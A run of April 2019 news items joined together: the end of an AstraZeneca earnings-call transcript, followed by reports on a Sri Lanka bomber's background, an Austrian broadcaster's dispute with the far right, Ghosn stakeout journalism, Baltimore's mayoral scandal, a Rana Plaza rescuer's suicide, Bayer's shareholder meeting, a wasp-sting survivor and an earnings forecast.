(inaudible) and things like that. Just linked with that how -- what is it that is likely to change so dramatically over between kind of the cash you're generating today versus 12 months time. But inherently what you're talking about is an increase in quarterly cash flow generation of about a $1 billion. So just if you can help us bridge the gap that would be great? And then secondly, Dave, to just a clarification on your comment regarding the Imfinzi growth outlook, I just want to make sure I heard you right that saying you -- we should be thinking about Imfinzi growth in the near-term as being driven by ex-US rather than the US? Thank you. Marc Dunoyer -- Executive Director and Chief Financial Officer So, on the cash flow, so what I just said a few minutes ago that since we have used these share issuance to cover the upfront for -- the upfront and early milestones for Daiichi Sankyo. I am looking at the coverage of the dividend excluding the impact of the Daiichi Sankyo product acquisition. So you need to remember this caveat. The coverage of the dividend will be done after CapEx, after restructuring expenses, after the normal outflows, but excluding the impact of the cash payments related to Daiichi Sankyo. Pascal Soriot -- Executive Director and Chief Executive Officer And so the answer to... Marc Dunoyer -- Executive Director and Chief Financial Officer I am sorry. And then why is it -- I guess, why is it getting better? Well, I think, I have also outlined that for 2019, we have reasonably high level of payments for business development deals. Some of them we have done in 2018, some of them we have done much earlier. And I mentioned the true-up with our joint venture with -- historical joint venture with Merck in the US. But also we have some molecules which are progressing for the development momentum and hopefully some will be approved and they are milestones, which are accompanying these regulatory approvals in the course of 2019. So I see it as a good news in a way, because we knew these products will (technical difficulty). Pascal Soriot -- Executive Director and Chief Executive Officer So two effects really. Okay. I mean, the obvious one is the improvement of our operating margin that flows down to the cash flow. And the second as Marc said, some of these one off payments will decline. And remember in Q1 or this year we had a big one $400 million relating to next year, and which is a 20 or 30-year old joint venture and it's the final milestone relating to the and undoing of this JV. I think there was a question on Tagrisso for you, yes. David Fredrickson -- Executive Vice President and President, Oncology Business So its on Imfinzi actually. So Keyur, the first part, we -- I certainly have expectation for continued growth within the US. But I do think that growth rate on a percentage basis sequentially is going to be lower than what we've seen. We saw a fairly significant catalyst with the overall survival data at ESMO. And we saw sequential growth rate of 27% on the heels of that within the US, and we saw a lower rate in the mid single digits in terms of the growth rate that we saw at 7% in terms of sales within the US. We see CRT rates now, really well above 50%, probably getting close to 60% within that. We think that there's some opportunity for continued growth there, but we're also under the belief and we listen to what the physicians are speaking through. I think that there are patients for whom CRT just isn't a viable option, and so that's probably getting close to near where its max is. Again, we also see opportunity for continuing to have more patients treated within Imfinzi post CRT, but we have a greater opportunity to get to US levels of performance outside of the US. We have just recently launched within Japan, where we saw really strong uptick in the quarter. And we're encouraged by the trajectory that we come into Q2 on in Europe, recent approval, and we're starting to see reimbursement coming on board, where demand is increasing in Germany, increasing within France and we're still yet to see reimbursement in a number of other countries. So US growth still there, other markets outside of the US have an opportunity to get to the US levels and that was the comment that I was making. Pascal Soriot -- Executive Director and Chief Executive Officer Thanks. The next question is online. Unidentified Participant -- -- Analyst Sorry, just a clarification to Marc's answer... Pascal Soriot -- Executive Director and Chief Executive Officer I mean, is that I'm just thinking I forgot to answer the second part of Jo's question about China a minute ago. She was asking what product could be impacted moving forward on negative basis. And as I said, the second half in China would be impacted by some of those new policies of tendering products that are patent expired. So I would say that the one product that you could see being impacted in the second half would be Crestor, because we lost a tender. In fact, as you probably noticed, the older tenders that were issued in China, only one tender went to a big international, multinational company, and that's us with Iressa. But we did lose the Crestor tender. So suddenly that product would be impacted. So the online question relate to PACIFIC II and it is, do you still estimate that the PACIFIC ineligible population due to a progression after chemo, that could become eligible based on PACIFIC II, is still a 25% or are you seeing a low on them, but in the real world given the difficulties associated with defining progression in this setting and the variability of infringe as an option? And this is a question from Mariata (ph). It's for you, Dave. David Fredrickson -- Executive Vice President and President, Oncology Business So, Mariata on this question, I guess the main focus for PACIFIC II is testing the hypothesis that can we actually get more patients through CRT and those that progress or drop out within it. The rate that you're using there is a reasonable one. In terms of what we see of patients that while initiating therapy do drop out. Now I think that may be implied within this is, is another question which is, we do not promote to this, but we do see that there are physicians that are utilizing Imfinzi in patients post, maybe, just radiotherapy, or if they're not able to actually give a full course of CRT in the way that they want to for tolerability reasons. But again, that's a minority of use that we're seeing and I think that PACIFIC II provides us the opportunity to be able to give evidence in the setting which we do believe is an important area of opportunity. Pascal Soriot -- Executive Director and Chief Executive Officer Thanks, Dave. So we'll take our last two questions. Hopefully we can deal with them within the time, and OK to do a bit behind time. So the first one is, Seamus Fernandez at Guggenheim. Seamus, you want to go ahead? Seamus Fernandez -- Guggenheim -- Analyst Yeah. Thanks for the question. So maybe just if I could make one suggestion and then I'll follow up with a question. But just in terms of the cash flow dynamics, I think it would be helpful to everybody if we had a slide or a schedule of potential payments going forward. So people can understand more clearly the specifics around cash flow dynamics that's become an overt focus relative to the future growth of the Company, so just a suggestion there. And then separately, my question really is in terms of our thoughts around the growth opportunity for the overall portfolio, and the various programs that you have studied outside of the Daiichi Sankyo program. Which programs are you particularly excited about to really improve cash flow going forward? I think probably the biggest focus right now is on roxadustat? And I feel like that program maybe isn't appropriately understood in terms of where the pushes and pulls are for roxadustat. So I'd really love to know a little bit more of AstraZeneca's thoughts around that program and how you drive the opportunity in anemia (ph)? Thanks. Pascal Soriot -- Executive Director and Chief Executive Officer Thanks, Seamus. First of all, the comment well noted, thank you. The question growth opportunities this is -- the so one least of -- I mean, always (ph) there's more than one of (inaudible) is an important one. We'll have SOLO 1, we'll have a lot of -- yeah, we'd have to, well, PT010, but it's probably more for 2021 and beyond in term of cash flow generation. But so -- also we will have Lokelma, that we are about to launch, we'll have some of our IO readouts. So there's quite a few, but maybe what we could do is focus a little bit on roxa, since Seamus focused on it. Or do you want to say a few words about the opportunity there? David Fredrickson -- Executive Vice President and President, Oncology Business Yeah, of course. First of all, we need to see the safety analysis and we've said that will be done in the first half of this year. But the opportunity, of course, is very substantial both in the dialysis segments. But to give you a few numbers, roughly there are 600,000 patients in the United States on dialysis. It's growing, but the -- especially the non-dialysis population is at least four, five times bigger than that. And at the moment in the non-dialysis, I think only iron or IV iron is used, because of the black box warning of EPOs. And equally the opportunity in China is very substantial. In China, roughly there are 800,000 patients on dialysis. We already have secured approval in that indication and we are doing our best in order to get on NRDL as we speak. So we need to wait and be more patient. But we will launch roxadustat in the second half of 2019. So all in all depending, of course, of the outcome of the safety analysis, we feel very good about this opportunity, the unmet medical needs is very, very substantial. But we just need to be a bit more patient in order to see the full data set. Pascal Soriot -- Executive Director and Chief Executive Officer Yeah. Thanks for them. And maybe that gives me an opportunity to make a comment on this, that assets, because I know some of you have been wondering when is it coming. And we communicated earlier, that it would be first half and we are on track with this. You have to keep in mind that is a very complex database. I mean, it's -- first of all large database, the old studies. But importantly it's not just standard one company sort of analysis, we have three companies involved. So we have to consolidate all of these. FibroGen is taking the lead, of course, consolidating this. Then, when it is all done, we'll have to have the three companies working together to analyze the data and agree on the conclusions. So this is not a very simple exercise, but certainly, of course, as soon as we have the results, we're very well aware of our obligations here. We will communicate those results immediately when we know the safety analysis. So with that maybe Sachin Jain at Bank of America. Sachin, go ahead. Sachin Jain -- Bank of America -- Analyst Thanks (inaudible). Sachin Jain, Bank of America. One question on roxa, and I want clarification. On roxa, slide 13, and I am over interpreting, but it -- will it be one safety press release or two, because you referenced a pool safety analysis followed by totality of evidence. So Is there a splitting of a CV versus a broader safety update or am I over interpreting that? And then just the second question, just on back to the cash flow and the BD payments. Marc, just to clarify, you had said that the predominant payments from 1Q in your prepared remarks, and an answer to a prior question you said there were further payments for the course of this year. So Is it fair to assume that further payments are smaller than the $400 million for next year. And is there any larger payments you could call out. For example, I know you are due $600 million in development milestones on roxa, so should that be positive? Would we expect that cash outflow this year? Thank you. Pascal Soriot -- Executive Director and Chief Executive Officer Thanks, Sachin. So the first question maybe I can cover. The second question, Marc, you would cover. The first question very quickly. Again, I just can -- I can only repeat what I said a minute ago. Sachin you said, it's a very complex data consolidation, three companies involved, the lead partner here is FibroGen. This is their product, we take their lead. And so we're working as fast as we can. But today I can't answer your question in the end, whether we will have as 50/50. CV safety analysis that we release or we will release everything in one go. It will depend on how quickly we can get those analysis completed. And of course, we know everybody is focused on the CV safety. So as soon as we have these we know we have to release it. Ideally, we would release everything in one go. But it may be that we have two sets of data releases. Again, we're going to have to take our lead from FibroGen on that one. Marc, do you want to cover the... Marc Dunoyer -- Executive Director and Chief Financial Officer Yeah. So as I said, there won't be a payment as large as the true-up for the joint venture with Merck late during the year. But there will be multiple other commitments that we'll have to satisfy and pay. And I've described most of them. They are usually milestones of some form of success, progression of a development program or approval of the development program, so they vary. There is a -- there is still quite a few program that we will have to pay for in 2019. But we have also given an indication that the spend into -- in the outlay in 2019 first quarter was relatively last quarter. So I think from there, you can probably project the rest of the year. Pascal Soriot -- Executive Director and Chief Executive Officer Yeah. That's an important piece. Yeah, and the majority of this large payment has just taken place in Q1. So maybe the last one question, because we are out of time. Unfortunately there's a few more questions. But we'll take one last one online that relates to Tagrisso there for you, and it's a thing that US and Japan are well penetrated in the existing indications. China is the future key growth driver. I would not underestimate Europe or so, I mean, unfortunately and I have to say really unfortunate in Europe, patients have at the back -- are at the back of the queue. They have to wait until reimbursement is achieved. That's a subtle reality of a reimbursement system in Europe across all products and all markets go, frankly. So, but we are getting there in time of getting second line of reimbursed and as soon as we can we'll get first line. So Europe still has to make a contribution. But the question here relates to China. Where is the China penetration now, Dave and at -- and where do you see this vertical spilling in. David Fredrickson -- Executive Vice President and President, Oncology Business So let me take James' questions in reverse order. So in terms of the second line, which is where we've got both the approval and the NRDL listing. We estimate that there are within China as many as 80,000 patients. Now we take in our own mind about 20% to 25% access cut on that. So we think that there is between 16,000 and 20,000 patients treated in the second line that has the ability to really get access to. We have a small percentage of those patients and we've got opportunity for quite a bit of continued growth and that's just in the second line. So obviously we look forward as well to frontline indications and then we'll be looking forward to frontline NRDL opportunity. So there's really a tremendous amount of China opportunity for Tagrisso. And I can only reiterate what Pascal said which is that we still see quite a bit of front line opportunity across the rest of the globe. And I think it's important to look at the China numbers in the composition and see that it is a product that really US, Japan, China, Rest of World, all make important contributions to. Pascal Soriot -- Executive Director and Chief Executive Officer And again on China, remember we have the tender, we won the tender for Iressa. And it's actually very important, because it's important for Iressa, it's important for first line lung cancer patients in China. But it's also important for Tagrisso, because in doing this we kind of create, if you will, the second line market and the opportunity there is still very large in China and as Marc -- as Dave said, we'll then move on to first line of hopefully. So we'll close here. And I would like to, again, thank you for your interest and repeat that we believe we are very much on track with what we told you before. We are now focused on driving this topline growth, taking it to the bottomline, improving our operating margin and improving our cash flows. And what we've said to you before remains full. And I also want to, maybe, close by saying this DS-8201 opportunity was a unique one. And hopefully over time people do realize the potential of this agent, which is we believe enormous and explains and justifies why we did this equity raise. So with that, again thanks for your interest and I wish you a good rest of the day. Duration: 86 minutes Call participants: Pascal Soriot -- Executive Director and Chief Executive Officer David Fredrickson -- Executive Vice President and President, Oncology Business Ruud Dobber -- Executive Vice President and President, BioPharmaceuticals Business Marc Dunoyer -- Executive Director and Chief Financial Officer Menelas Pangalos -- Executive Vice President and President, Research & Development BioPharmaceuticals Jose Baselga -- Executive Vice President and President, Research & Development Oncology Richard Parkes -- Deutsche Bank -- Analyst Mark Purcell -- Morgan Stanley -- Analyst Andrew Baum -- Citigroup -- Analyst Susan Galbraith -- Senior Vice President, R&D Oncology Jo Walton -- Credit Suisse -- Analyst Keyur Parekh -- Goldman Sachs -- Analyst Unidentified Participant -- -- Analyst Seamus Fernandez -- Guggenheim -- Analyst Sachin Jain -- Bank of America -- Analyst More AZN analysis Transcript powered by AlphaStreet This article is a transcript of this conference call produced for The Motley Fool. While we strive for our Foolish Best, there may be errors, omissions, or inaccuracies in this transcript. As with all our articles, The Motley Fool does not assume any responsibility for your use of this content, and we strongly encourage you to do your own research, including listening to the call yourself and reading the company's SEC filings. Please see our Terms and Conditions for additional details, including our Obligatory Capitalized Disclaimers of Liability. More From The Motley Fool Motley Fool Transcriber has no position in any of the stocks mentioned. The Motley Fool has no position in any of the stocks mentioned. The Motley Fool has a disclosure policy. One of the nine men suspected of carrying out the Sri Lanka attacks was previously investigated for radical ties while living in Australia (GETTY) The Sri Lankan suicide bomber who lived and studied in the UK and Melbourne was investigated by Australian security services in 2014. Intelligence emerged linking him to an Islamic State (IS) recruiter four years ago, prompting an investigation into Abdul Lathief Jameel Mohamed, 36, by Australias Joint Counter Terrorism Team Abdul Lathief is one of nine suicide bombers responsible for the devastating attacks across Sri Lanka on Easter Sunday. According to a report, the earlier investigation took place after intelligence linked Mohamed, who was studying in Melbourne between 2009 and 2014, to several Australian terrorist targets. The devastating synchronised bombs ripped through Sri Lanka on Easter Sunday (PA) One of them included Neil Prakash, an established online radicaliser who was standing trial in Turkey at the time. Prakash, 27, is said to be associated with Isis operatives who used the internet to radicalise young Muslims. However there is no evidence that Abdul Lathief and Prakash knew each other in Melbourne. According to the The Times, the Kingston University student failed to blow up a fourth explosive at the five-star Taj Samudra hotel. Read more: Faulty suicide vest stopped fourth Sri Lanka bomb from exploding in luxury hotel At least 138 dead as synchronised explosions rip through hotels and churches in Sri Lanka Sri Lanka explosions: Emergency powers imposed as police say international network involved After fleeing to a safe house he then killed two people when he detonated his bomb at a guesthouse near Colombo zoo. Mohameds sister Samsul Hidaya told the Daily Mail: He had a long beard and had lost his sense of humour. Upon his return to Sri Lanka, Abdul Lathief complete courses in radical Islamic teaching, before travelling to Syria to join ISIS, before returning to Sri Lanka again. Australian counter-terrorism police said it would assist Sri Lankan authorities and are looking at Abdul Lathief's time living in Melbourne. (SKY NEWS) The Australian Federal Police refused to say whether the suspect known to them or whether he was radicalised while living in Australia. Story continues A spokesperson said: As there is an ongoing investigation into the attacks, it would not be appropriate to comment. Family friends said Abdul Latheif, who spent a year studying at Kingston University in 2006, was being monitored by police in Sri Lanka as he plotted the terror attacks with other suspected jihadis. His identity was reported after officials in Sri Lanka claimed one of the suicide bombers may have studied in the UK. The death toll from the attacks has been revised down by Sri Lanka from 359 to 250. VIENNA, April 26 (Reuters) - Austria's public broadcaster ORF defended its top news anchor on Friday after a far right politician threatened the journalist with "consequences" for comparing an anti-immigrant poster to Nazi propaganda. The far-right Freedom Party (FPO) is the junior partner in a coalition government with the conservatives. It says it wants to restructure the ORF which it accuses of left-wing bias. During an interview with Harald Vilimsky, the FPO's top candidate for the European Parliament, the host of flagship news program ZiB 2, Armin Wolf, asked Vilimsky to explain a poster created by a branch of the far-right party's youth wing. The poster depicted a blonde couple in traditional Austrian dress, surrounded by sneering grey figures with oversized noses accompanied by the slogan "tradition beats migration." Wolf asked how this depiction of migrants differed from the anti-Semitic depiction of Jews in a Nazi newspaper. "To draw this parallel, Mr Wolf, is the last straw," Vilimsky responded. "That is something that cannot go without consequences." In a later interview, Vilimsky said that if he were in charge of the broadcaster, Wolf would be fired. The broadcaster's general manager, Alexander Wrabetz, said it was not up to party figures to decide who hosts its programs. "The decisions in this enterprise are made by me," Wrabetz told daily newspaper Kurier. "I do not let a party leader tell me who is moderating ZiB." Wolf did not respond to an emailed request for comment. An ORF spokesman said he was on holiday. The FPO did not immediately respond to an emailed request for comment. Opposition lawmakers fumed over the attacks on the ORF. Thomas Drozda, media policy spokesman for the Social Democrats, called them "first steps toward an iliberal democracy." (Reporting by Kirsti Knolle Editing by Peter Graff) (Adds Ghosn freed late on Thursday night, news gleaned from night raids) By Issei Kato and Tim Kelly TOKYO, April 26 (Reuters) - From a 14-hour wait outside Tokyo's main jail on Christmas Day to a momentous photograph filed from the top of a step-ladder, covering the Carlos Ghosn story has mostly been about mastering the art of Japanese stakeout journalism. That often means waiting for hours on suburban streets or outside offices to accost corporate bosses and politicians for what are called "burasagari," or stakeout briefings. Such vigils were an important part of Reuters coverage in the days following the arrest in November of Ghosn, the former head of Nissan Motor Co. Learning the craft of burasagari - literally "hanging onto," conjuring up the image of a scrum of journalists clinging to a source - is a rite of passage for many young Japanese reporters, photographers and video journalists. For instance, there is the media gaggle that lurks during the day in the entrance hall of the prime minister's residence, kept at bay in one corner with a strip of blue tape on the granite floor. Journalists are only allowed to cross when someone walks in. Elsewhere, reporters stalk the halls of Japan's Ministry of Finance for comments on currencies or the economy. Others press their ears to meeting room doors for muffled snippets at the ruling Liberal Democratic Party offices. On the streets, scandal-tainted celebrities and criminal suspects are shadowed by lurking reporters. One particular kind of ambush journalism practiced in Japan is "yomawari," or night raids, when reporters stake out the residence of an executive or politician, hoping to catch them on their way home. For instance, in late November, Reuters learned through one such yomawari that Nissan wanted more influence in its alliance with France's Renault, arguing that the structure did not adequately reflect the Japanese automaker's size and global sales. Story continues Such night raids became so frequent and heavily attended that Nissan sent registered letters in December to news organizations asking them to stop visiting the homes of their executives. The company said neighbors had complained and that the "intrusive reporting" had led to one passerby getting injured, without elaborating. JAIL STAKEOUT From the time Ghosn was arrested, the Reuters team in Tokyo has spent hours, days even, outside the Tokyo jail. There have also been chilly evenings on night stakeouts in front of his lawyer's office or outside the court waiting for news. Bounded by elevated motor expressways, a river and train line, the imposing Tokyo Detention House sits in one of Tokyos poorer neighborhoods, surrounded by small workshops and apartment blocks. There are few places for the tired and frozen to take refuge and warm up. A solitary 7-Eleven convenience store nearby often sold out of steamed dumplings, hot drinks and other sustenance. On Christmas Day, Reuters journalists waited 14 hours outside the jail for a glimpse of Ghosn's co-accused, Greg Kelly, when he was freed on bail. There was a slice of luck when Ghosn himself was freed on bail in March. Chief Photographer Issei Kato had been waiting outside the detention center for two days for Ghosn to appear along with about 200 other journalists. Kato was standing atop a 1.2-meter cameraman's ladder, holding the camera and a heavy 200-400 millimeter lens, with a 1.4x extender, worrying about the fading light as sun began to set. He couldn't use a flash as he was shooting through a fence that would have flooded the picture with reflected light. It was then Kato suddenly saw a group of guards and men dressed in work clothes and wearing surgical masks walk quickly out of the entrance in tight formation and get into a small van with a ladder on top. "I didn't immediately recognize Ghosn amongst them, but thought they somehow looked odd," he said. "I instinctively squeezed the shutter." As the van swung around and drove away, Kato said he began checking the images through the camera's view screen. "I suddenly realized that the eyes peeking from behind the mask of one of the men belonged to Ghosn. "Still atop the step-ladder, I quickly transmitted the picture of Ghosn in his disguise to our European photo desk in Gdynia, Poland, directly from my camera using the wireless transmitter attached to it," he said. "The transmission of the first image took about 15 seconds. The photo editors in Gdynia quickly cropped, captioned and published the photo within a few minutes." Kato's image of the masked Ghosn was used widely online and in newspapers. But after about a month of being freed, he was re-arrested and put back in jail. On Thursday, the court granted Ghosn bail a second time, prompting Kato - who has acquired a longer, 3-meter step-ladder - to race to the detention center yet again. He waited about 10 hours outside with more than 100 other journalists until a stony-faced Ghosn walked out after 10 p.m. Dressed in a suit and surrounded by guards and members of his legal team, he got into a black van. Kato got his picture again - and the taller ladder helped because he could peer over the fence instead of through it. "This time, I used a 600-millimeter lens, but it was still dark and far away," he said. "You really don't know how it will unfold until the last second." (Additional reporting by Daniel Leussink; Editing by Malcolm Foster and Raju Gopalakrishnan) BALTIMORE (AP) When Catherine Pugh was inaugurated as mayor, she vowed to help transform Baltimore into "the greatest city in America." Halfway through her first term, she has thrust her chronically struggling city back into the spotlight, for all the wrong reasons. Demands for Pugh's resignation dramatically intensified as FBI and IRS agents carried off boxloads of documents in raids of her City Hall offices, her homes and other locations on Thursday. A federal grand jury has been empaneled, and while the scope of the tax agency's criminal investigation isn't clear, it follows state and local probes of murky arrangements that earned the Democrat roughly $800,000 over the years in exchange for self-published children's paperbacks about health and nutrition. Accusations that the mayor might have received kickbacks in exchange for government favors hasn't helped restore public trust in Maryland's biggest city, where Pugh promised transformational change in the wake of massive riots and protests over police abuses. But whether Baltimore is having trouble functioning amid this latest mess depends on who you talk to. Acting Mayor Bernard "Jack" Young, a veteran councilman who took over day-to-day responsibilities when Pugh's indefinite absence began on April 2, likens himself to a skipper with a steady hand in a storm. But others say the unfolding scandal is clearly interfering with city business. "We can't waste any more time on this issue. There are many important issues in front of us that require the complete attention of a fulltime mayor," said City Council member Brandon Scott. Political analyst Karsonya Wise Whitehead, a radio talk show host and associate professor at Loyola University Maryland, said Baltimore is "at a standstill," with nobody knowing when the mayor's "Healthy Holly" book scandal will hit bottom. "Even as we turn our attention elsewhere, something happens to bring our attention back to the mayor and to Healthy Holly. It is exhausting," Whitehead said in a Friday email. Story continues One thing's for certain: Another headline-making scandal with no resolution in sight is the last thing this tarnished city government needs. Baltimore is startlingly segregated, and has long been among America's poorest cities. There's a roughly 20-year life expectancy gap between deeply disenfranchised and overwhelmingly black neighborhoods and areas that are whiter and more well-to-do. Opioids and the deadly gun violence that surrounds a thriving drug trade are a staggering scourge. The public schools have dismal proficiency levels, and police are under federal oversight. This isn't the first time Baltimoreans have seen crime investigators raiding a mayor's house. Former Mayor Sheila Dixon spent much of her tenure fighting public corruption charges before resigning in 2010 to save her pension and preserve the possibility of working for the city or state again. Pugh edged out Dixon by roughly 3,000 votes to clinch the 2016 Democratic primary. Baltimore's great fear is to be "seen as a laughingstock, like Detroit was years ago until the governor of Michigan put it in receivership," said John Dedie, a professor who is the political science coordinator at the Community College of Baltimore County. "But Detroit's problems were fiscal mismanagement; Baltimore's is political incompetence." Indeed, old scars about Baltimore's dysfunctions have again become comedy fodder, with John Oliver recently skewering Pugh's "Healthy Holly" debacle on "Last Week Tonight." A cursory listen to Baltimore's talk radio proves she still has supporters who cite accomplishments over her career as a state lawmaker and city leader or theorize that the African American mayor is being targeted for embarrassment. But with her political career in free-fall and ethics questions deepening, many others have lost confidence in her ability to lead. "Clearly, Pugh no longer has a political future. Whether she has a future that involves jail appears to be an open question," said Donald Norris, professor emeritus of public policy at the University of Maryland, Baltimore County. For nearly a month since beginning her paid leave, Pugh has made no effort to salvage her image. In late March, Pugh called her no-contract book deals a "regrettable mistake," and then she slipped out of sight, citing deteriorating health. Her lawyer, Steve Silverman, insists the ailing 69-year-old Pugh is in such a fragile state that she needs more time "to be physically and mentally sound and lucid enough to make appropriate decisions." Pockets of the curious gathered outside City Hall and her homes during Thursday's raids, trying to catch a glimpse of the mayor, or federal agents carrying out evidence. Jameela Smith, a 25-year-old college student who hails from gritty West Baltimore, said she's fed up with the public servants in her hometown. "It's very disappointing to have somebody that we personally elected to do this to us," Smith said outside City Hall, where she lingered to share her exasperation. "As a city we've already been hurt and traumatized by our leaders." ___ Follow McFadden on Twitter: https://twitter.com/dmcfadd A Bangladeshi activist who rescued dozens of people when the Rana Plaza factory complex collapsed in 2013 has committed suicide after suffering years of trauma-related depression, police said Friday. Police said Nowshad Hasan Himu, 27, killed himself near the industrial town of Savar late Wednesday on the sixth anniversary of the disaster, which killed 1,138 people in one of the world's worst industrial tragedies. "He poured kerosene onto his body and set himself in fire. He was rushed to a Dhaka hospital where he died," police inspector Asgar Ali told AFP. He said they suspect Himu was suffering from a bout of depression, and friends confirmed that Himu had been traumatised by the disaster. "He used to live alone at his home with two dogs. He avoided people," Ali said. Tributes poured in for Himu, who was involved in left-wing politics, with friends saying he had struggled to process the deadly building collapse. "He was at the Rana Plaza rescue work for 17 consecutive days. He helped rescue dozens of bodies and survivors," Taslima Akhter, a garment union leader and an award winning photographer, told AFP. Akhter said Himu also spent days in hospitals to help the survivors. When a worker died weeks after the disaster, he accompanied the body to her home in remote northern Bangladesh. "He was deeply traumatised and was suffering from depression. He told his friends that he used to smell rotten bodies and would see dead bodies walking behind," she said. Local and international media reported on the ordeal and trauma faced by scores of the Rana Plaza volunteers months after the tragedy. Himu is the first volunteer to take his life. His death puts the spotlight on the continuing human toll of the Rana Plaza disaster, which saw the nine-floor factory complex collapse on the morning of April 24, 2013, trapping some 4,000 workers under its pancaked floors. According to a survey in April conducted by British charity Action Aid, some 10 percent of Rana Plaza survivors are still traumatised six years after the disaster. "We have seen that some of the volunteers who took part in the rescue work are still suffering from mental problems," Shuvhomoy Haque, who led the Action Aid survey, told AFP. The Monsanto glyphosate drama may be about to hit the agriculture firms new owners where it hurts. Bayers management faces a vote of no confidence at the German companys annual general meeting, which is taking place Friday. Amid widespread concerns over the wisdom of Bayers Monsanto takeover last year, the vote looks set to be tight. Bayers share price has fallen by around two-fifths thanks to two jury verdicts in the U.S. that Monsantos glyphosate-based weedkiller, Roundup, was responsible for causing plaintiffs cancer. There are still 13,400 cases to go, and the liability costs could end up being astronomical. Some disgruntled Bayer investors say the management and supervisory boards should gotheyve recommended that shareholders vote against ratifying the boards actions, which would effectively be a vote of no confidence. Dozens of investors are giving speeches at the packed event in Bonn, so the result of the vote is only expected Friday evening local time, but heres a rundown of whats been happening so far. 1. Bayer CEO cant be forced out even amid protests. The no-confidence vote is not binding, so either way CEO Werner Baumann cant be immediately forced out. Chairman Werner Wenning also made clear to investors that he continued to support his protege. The supervisory board is convinced that the strategy of management, including the takeover of Monsanto, was the right path, Wenning said. But it has still not been a good day for Baumann. Outside the AGM in Bonn, environmentalist protestors built an effigy of him out of bales of hay and yelled shame on you. 2. Investors are divided on how they will vote but nobodys happy. Story continues The voices speaking out against Baumann and his team have been loud and numerous. Bayers management must face up to the charge that they neither recognized nor took into account the enormous legal risks associated with the Monsanto takeover, said Union Investment analyst Janne Werning to great applause from the audience, according to a Handelsblatt report. Union Investment will vote against the boards, while the fund manager DWS will abstain on the basis that the impact of the Monsanto takeover will be clearer at next years AGM. BlackRock, the companys largest shareholder with a 6.4% stake, is reportedly planning to either abstain or vote against the board. The shareholder advisory services Institutional Shareholder Services (ISS) and Glass Lewis advised investors to vote against the discharge of the board of management, and in Glass Lewiss case, the supervisory board as well. Deka Investment, which has a stake of just under 1% in Bayer, said it would vote against management and the supervisory board. The acquisition of Monsanto has so far been entirely value-destroying, Deka corporate governance chief Ingo Speich said, warning that Bayernow worth less than what it paid for Monsantoruns the risk of being taken over itself. However, Speich also said a vote of no confidence would serve as enough of a warning to management, and argued that the management should not be replaced just yet because that would increase the chaos and set back Bayers efforts to improve the situation. 3. Despite trials, Bayers CEO still says glyphosate is safe Baumann defended his team in forceful terms at the opening of the AGM, insisting that the claims of glyphosates carcinogenic nature were incredible and deeply upsetting for Monsanto staff. The CEO insisted that Bayer had conducted thorough due diligence before signing the acquisition deal with Monsanto in 2016, based on publicly available documents, information provided by Monsanto, and external expert opinions. Based on all this information, the Board of Management considered the liability risk in connection with glyphosate to be low, Baumann said. After the first verdict against Monsanto last year, Bayer also hired law firm Linklaters to come up with another expert opinion, and then commissioned a Munich University professor to weigh in as well. Both backed up the view that the liability risk should be low. We were convinced at the timeand we are todaythat glyphosate is a safe product when used as directed, Baumann said. Baumann said he had great sympathy for the cancer-suffering plaintiffs who won those initial verdicts against Monsanto/Bayer, but denied glyphosate was the cause of their illnesses. We remain optimistic that the next higher courts will reach different verdicts, he said. This matter is a top priority for the Board of Management and also for me personally. 4. But good financial results may help Bayers cause. Baumann had the good fortune of Bayer having on Thursday published solid results, reflecting a 5.5% quarterly sales boost for its agriculture business, and shares subsequently rose 4.5%. The executive argued that the Monsanto deal has nonetheless made Bayer the leader in agriculture. Even though antitrust concerns around the deal forced Bayer to sell off more of its business than it expectedto BASF we will still realize one billion euros a year in synergies from the Monsanto acquisition from 2022 onward, Baumann said. As for how the firms shares have been doing through the AGM, shares started the day down but are, at the time of writing, up 0.75%. Theres still a lot of the meeting to go, thoughthree hours in, 49 investors are still waiting to have their turn to speak. Evie Clark, 7, survived being stung 300 times by European wasps. Source: Getty Images A mother has told of the harrowing experience of watching her seven-year-old daughter nearly die after being stung by hundreds of wasps. Evie Clark was playing near a creek at her home in Braidwood, southern NSW, Australia when she fell on a wasp nest on April 11, The Canberra Times reported. Wasps swarmed and stung all over her body, about 300 times. A friend ran to get help - but by the time her father Tony reached her, she had blacked out. He rushed her to the hospital where her mother, Samara Zeitsch, said doctors gave her an adrenaline shot and used a vacuum to remove the wasps from around her. "They were in her underwear, in her shoes. It was terrifying," Ms Zeitsch told The Canberra Times. Doctors feared the young girl would suffer a second anaphylactic shock so had her airlifted from Braidwood Hospital to Canberra Hospital via helicopter. "This was an unprecedented number of stings she sustained, it was a bit unknown how it would unfold from there," Ms Zeitsch said. A spokesman at Canberra Hospital said Evie remained in care for four days, and received two adrenalin injections to help her body combat the inflammation. Her daughters face and hands swelled significantly into the early hours of the morning, with doctors saying the number of stings was equivalent to a bite from a brown snake. Evie has since returned home, however was still dealing with sizeable welts and the pain that came from itching them, often leaving her in tears. "She's always been a really healthy, robust child," her mother said. The wasps were believed to be of the European variety, with the nest having now been destroyed by the local council. ---Watch the latest videos from Yahoo UK--- As Beijing Urban Construction Design & Development Group Co., Limited (HKG:1599) announced its earnings release on 31 December 2018, analysts seem fairly confident, with earnings expected to grow by 18% in the upcoming year compared with the past 5-year average growth rate of 15%. Currently with trailing-twelve-month earnings of CN562m, we can expect this to reach CN661m by 2020. I will provide a brief commentary around the figures and analyst expectations in the near term. Readers that are interested in understanding the company beyond these figures should research its fundamentals here. See our latest analysis for Beijing Urban Construction Design & Development Group Exciting times ahead? Over the next three years, it seems the consensus view of the 3 analysts covering 1599 is skewed towards the positive sentiment. Broker analysts tend to forecast up to three years ahead due to a lack of clarity around the business trajectory beyond this. I've plotted out each year's earnings expectations and inserted a line of best fit to calculate an annual growth rate from the slope in order to understand the overall trajectory of 1599's earnings growth over these next few years. SEHK:1599 Past and Future Earnings, April 25th 2019 By 2022, 1599's earnings should reach CN852m, from current levels of CN562m, resulting in an annual growth rate of 15%. This leads to an EPS of CN0.63 in the final year of projections relative to the current EPS of CN0.42. Analysts are predicting this high revenue growth to squeeze profit margins over time, from 7.8% to 7.3% by the end of 2022. Next Steps: Future outlook is only one aspect when you're building an investment case for a stock. For Beijing Urban Construction Design & Development Group, there are three pertinent factors you should further examine: Financial Health: Does it have a healthy balance sheet? Take a look at our free balance sheet analysis with six simple checks on key factors like leverage and risk. Future Earnings: How does Beijing Urban Construction Design & Development Group's growth rate compare to its peers and the wider market? Dig deeper into the analyst consensus number for the upcoming years by interacting with our free analyst growth expectation chart. Other High-Growth Alternatives : Are there other high-growth stocks you could be holding instead of Beijing Urban 